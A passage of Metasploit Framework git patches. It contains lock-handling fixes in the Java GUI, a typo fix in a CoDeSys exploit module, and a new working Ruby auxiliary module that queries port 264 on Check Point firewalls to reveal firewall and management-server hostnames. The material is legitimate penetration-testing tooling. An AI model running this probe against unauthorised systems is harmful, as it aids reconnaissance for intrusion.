if(nameColumn != -1) mainTable.moveColumn(nameColumn, 0); - stop(); - } } catch (Exception ex) { ex.printStackTrace(); if(ex.getMessage().toLowerCase().contains("unknown session")) diff --git a/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java index d36c7e30ac..1566f47089 100644 --- a/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java +++ b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java @@ -103,7 +103,6 @@ public class OpenConnectionDialog extends javax.swing.JDialog { String host = info.get("host").toString(); int port = Integer.parseInt(info.get("port").toString()); boolean ssl = Boolean.parseBoolean(info.get("ssl").toString()); - String type = info.get("type").toString(); RpcConnection rpc = RpcConnection.getConn(username, password.toCharArray(), host, port, ssl); if(javax.swing.JOptionPane.showConfirmDialog(null, "Connect to last remembered rpcd?") == javax.swing.JOptionPane.YES_OPTION) return rpc; diff --git a/external/source/gui/msfguijava/src/msfgui/ProcessList.java b/external/source/gui/msfguijava/src/msfgui/ProcessList.java index 03cc6d74fd..11166ed2b4 100755 --- a/external/source/gui/msfguijava/src/msfgui/ProcessList.java +++ b/external/source/gui/msfguijava/src/msfgui/ProcessList.java @@ -57,16 +57,6 @@ public class ProcessList extends MsfFrame { this.rpcConn = rpcConn; this.session = session; this.lock = (ReentrantLock)sessionPopupMap.get(session.get("id")+"lock"); - ((DraggableTabbedPane)tabbedPane).setTabFocusListener(0, new FocusListener() { - public void focusGained(FocusEvent e) { - if(!lock.tryLock()) - lock.lock(); - } - public void focusLost(FocusEvent e) { - while(lock.getHoldCount() > 0) - lock.unlock(); - } - }); //See if we need to move our tab Map props = MsfguiApp.getPropertiesNode(); if(!props.get("tabWindowPreference").equals("window")){ @@ -74,13 +64,12 @@ public class ProcessList extends MsfFrame { (Component)sessionPopupMap.get(session.get("id")+"console"))); DraggableTabbedPane.show(mainPanel); } - if(!lock.tryLock()) - lock.lock(); listProcs(); } /** Lists the processes that are running */ protected void listProcs() throws HeadlessException { + lock.lock(); if (runCommand("ps")) return; readTimer = new Timer(300, new ActionListener() { @@ -113,6 +102,7 @@ public class ProcessList extends MsfFrame { readTimer.stop(); MsfguiApp.showMessage(null, ex.getMessage()); } + lock.unlock(); } }); readTimer.start(); From 205637892bfa3362765f4007e3a0f1647a480512 Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Wed, 14 Dec 2011 23:10:30 +1100 Subject: [PATCH 7/8] Added checkpoint_hostname aux module. --- .../auxiliary/gather/checkpoint_hostname.rb | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 modules/auxiliary/gather/checkpoint_hostname.rb diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb new file mode 100644 index 0000000000..f3b1e078ef --- /dev/null +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -0,0 +1,69 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CheckPoint Firewall-1 Topology Service Hostname Disclosure', + 'Description' => %q{ + This module sends a query to the TCP port 264 on CheckPoint + firewalls to obtain the firewall name and management station + (such as SmartCenter) name. + }, + 'Author' => [ 'patrick' ], + 'Version' => '$Revision$', + 'References' => + [ + # patrickw - None? Stumbled across, probably an old bug/feature but unsure. + [ 'URL', 'http://www.osisecurity.com.au/advisories/' ], + ] + )) + + register_options( + [ + Opt::RPORT(264), + ], self.class) + end + + def autofilter + false + end + + def run + print_status("Attempting to contact Checkpoint FW1 Topology service...") + connect + + sock.put("\x51\x00\x00\x00") + sock.put("\x00\x00\x00\x21") + res = sock.get(4) + if (res == "Y\x00\x00\x00") + print_good("Appears to be a CheckPoint Firewall...") + sock.put("\x00\x00\x00\x0bsecuremote\x00") + res = sock.get_once + if (res =~ /CN\=(.+),O\=(.+)\./i) + print_good("Firewall Host: #{$1}") + print_good("SmartCenter Host: #{$2}") + end + else + print_error("Unexpected response:\r\n#{res}") + end + + disconnect + end + +end From fae80f8d49ebbdd35fecddd6880edc566eb99e40 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 16 Dec 2011 11:10:46 -0600 Subject: [PATCH 8/8] typo --- modules/exploits/windows/scada/codesys_web_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index 4b6169d434..770a983458 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - [ 'OSVDB', 77387'], + [ 'OSVDB', '77387'], [ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ], [ 'URL', 'http://www.exploit-db.com/exploits/18187/' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]